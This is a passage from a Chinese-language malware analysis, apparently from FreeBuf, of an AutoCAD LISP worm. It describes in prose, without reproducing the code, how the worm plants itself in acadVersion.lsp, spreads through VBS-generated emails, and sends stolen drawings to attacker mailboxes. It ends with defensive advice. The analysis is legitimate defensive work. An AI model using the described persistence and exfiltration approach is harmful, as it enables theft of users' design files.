AutoCAD Support目录中的lisp文件首先它检查安装了哪个版本的AutoCAD:  

10.png 11.png

蠕虫就会尝试找到acadVersion.lsp文件,并向其添加代码:

12.png 

添加到acadVersion.lsp文件,因为每次打开图纸或者软件,都会自动加载该文件,所以可以保证每次打开CAD图纸时自动加载病毒文件,并且生成VBS传播,也就是每次打开一张图纸就会传播一次。

Rar 打包文件并且通过邮件传播:

13.png

14.png 

15.png

2、从受感染系统中窃取AutoCAD图纸,发送机器名和用户名

16.png 

向攻击者发送文件邮件

17.png 

登录其发件邮箱:(QQ和163)

19.png 

20.png 

21.png 

都是小号并没有发现什么相关信息,没有任何绑定和二级密码。

总结:

CAD脚本复制感染用户电脑,并且生成VBS脚本进行邮件传播,偷取用户CAD图纸,发送到攻击者邮箱里面。

攻击者利用垃圾邮件进行简单的社会工程学进行攻击欺骗,然而总会有一些用户会不以为意点击下载,并且执行,通常可以识别来源的是没问题的,但是总有刁民想害朕,也许就是简单的执行CAD脚本就中毒了,所以最好不要相信来历不明的邮件,更不要下载运行。

22.png 

此病毒浮浮沉沉,但生生不息,随着杀毒软件日益强大,它也不能随意兴风作浪了,当然还有微软操作系统的安全性在不断提高,也抑制了病毒的扩展。所以小伙伴们要及时安装杀毒软件,和更新系统漏洞,以免遭遇不测!!!

*本文作者:渔村安全,转载请注明来自FreeBuf.COM